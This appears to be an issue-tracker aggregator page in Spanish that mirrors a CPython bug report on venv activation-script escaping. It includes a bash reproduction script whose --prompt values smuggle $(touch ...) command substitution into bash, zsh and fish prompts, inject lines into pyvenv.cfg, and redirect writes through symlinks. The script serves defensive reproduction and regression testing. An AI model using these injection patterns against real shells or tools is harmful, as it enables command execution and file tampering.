Backport venv activation scripts escaping improvements from virtualenv

Abierto
  • ¿Algo no está bien?
#160,782 1 comentario 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 1 día

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
42/100
Tipo de issue
Error
Claridad
Bastante claro
Estado de actividad
Activo
Stack tecnológico
bash, fish, python, zsh
Área
backend, security

Línea de trabajo

Start by comparing CPython's venv activation script generation and pyvenv.cfg writing with the seven linked virtualenv commits. Use the reproduction script on Linux with Python 3.14, 3.15, and 3.16 to identify which cases occur, then inspect the corresponding venv implementation and tests. Done means the applicable escaping and file handling issues are fixed and regression tests cover the reported cases.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

stdlib topic-venv type-bug
Bug report

In Fedora, we have recently triaged some CVE that were publicly displosed for pypa/virtualenv. I decided to check if anything is also reproducible via plain venv and it is.

CVE-2026-113723, CVE-2026-113725, CVE-2026-113726, CVE-2026-113732, CVE-2026-113715, CVE-2026-113716, CVE-2026-113721

Neither is considered a security vulnerability in CPython:

Vulnerabilities must not depend on malicious control of Python’s launch conditions, including (but not limited to) command line arguments, environment variables, or modifications to files on the target system. We assume that, at the time Python is executed, the environment is as intended by the legitimate user, and any malicious variation from this cannot be mitigated by Python itself.

However, those issues are still nice to fix.

To reproduce:

#!/bin/bash
set -u
for PY in python3.14 python3.15 python3.16; do
  echo "################## $PY ##################"
  WORK=$(mktemp -d)
  cd "$WORK"

  echo "=== 1. bash/zsh PS1 redraw injection ==="
  echo "    cf. virtualenv CVE-2026-113723, CVE-2026-113725, CVE-2026-113726"
  "$PY" -m venv --without-pip --prompt "x\$(touch $WORK/PWNED_BASH)y" "$WORK/venv1" >/dev/null 2>&1
  bash -c "source $WORK/venv1/bin/activate; echo \"\${PS1@P}\"" >/dev/null 2>&1
  test -e "$WORK/PWNED_BASH" && echo "BASH: VULNERABLE" || echo "BASH: not reproduced"

  "$PY" -m venv --without-pip --prompt "x\$(touch $WORK/PWNED_ZSH)y" "$WORK/venv1z" >/dev/null 2>&1
  zsh -c "setopt PROMPT_SUBST; source $WORK/venv1z/bin/activate; print -P \"\$PS1\"" >/dev/null 2>&1
  test -e "$WORK/PWNED_ZSH" && echo "ZSH: VULNERABLE" || echo "ZSH: not reproduced"

  echo "=== 2. fish quote-escaping gap ==="
  echo "    cf. virtualenv CVE-2026-113732"
  mkdir -p "$WORK/workdir2"
  "$PY" -m venv --without-pip --prompt "x\\'\$(touch PWNED)'\\'" "$WORK/venv2" >/dev/null 2>&1
  (cd "$WORK/workdir2" && fish --no-config -c "source $WORK/venv2/bin/activate.fish" >/dev/null 2>&1)
  test -e "$WORK/workdir2/PWNED" && echo "FISH: VULNERABLE" || echo "FISH: not reproduced"

  echo "=== 3. pyvenv.cfg injection via command= ==="
  echo "    cf. virtualenv CVE-2026-113715"
  "$PY" -m venv --without-pip --prompt $'legit\ninclude-system-site-packages = true\n#' "$WORK/venv3" >/dev/null 2>&1
  RESULT=$("$WORK/venv3/bin/$PY" -c "import site; print(site.ENABLE_USER_SITE)" 2>&1)
  echo "ENABLE_USER_SITE=$RESULT"

  echo "=== 4. site-packages redirected via symlinked intermediate dir ==="
  echo "    cf. virtualenv CVE-2026-113716"
  mkdir -p "$WORK/envdir4" "$WORK/outside4"
  ln -s "$WORK/outside4" "$WORK/envdir4/lib"
  "$PY" -m venv --without-pip "$WORK/envdir4" >/dev/null 2>&1
  test -d "$WORK/outside4/$PY/site-packages" && echo "SYMLINK-DIR: VULNERABLE" || echo "SYMLINK-DIR: not reproduced"

  echo "=== 5. file overwrite through pre-existing symlink ==="
  echo "    cf. virtualenv CVE-2026-113721"
  mkdir -p "$WORK/envdir5/bin"
  echo SENSITIVE > "$WORK/outside5"
  ln -s "$WORK/outside5" "$WORK/envdir5/bin/activate"
  "$PY" -m venv --without-pip "$WORK/envdir5" >/dev/null 2>&1
  grep -q "virtualenv\|venv" "$WORK/outside5" 2>/dev/null && echo "SYMLINK-FILE: VULNERABLE" || echo "SYMLINK-FILE: not reproduced"

  rm -rf "$WORK"
  echo
done

virtualenv fixes:

CPython versions tested on:

3.16, 3.15, 3.14

Operating systems tested on:

Linux

Linked PRs
  • gh-160943
  • gh-160971
  • gh-160972
  • gh-160973
Lenguaje dominante
Python
Estrellas
77.8k
Forks
37.7k
Merge medio
17 h 2 min
PR fusionados (30 d)
699

Preparar el entorno

Abrir en Codespaces

Inicia el contenedor de desarrollo del proyecto en tu navegador, con tu propia cuenta de GitHub.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de python/cpython

Todos los issues de python/cpython

Issues similares

Más issues de Python

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.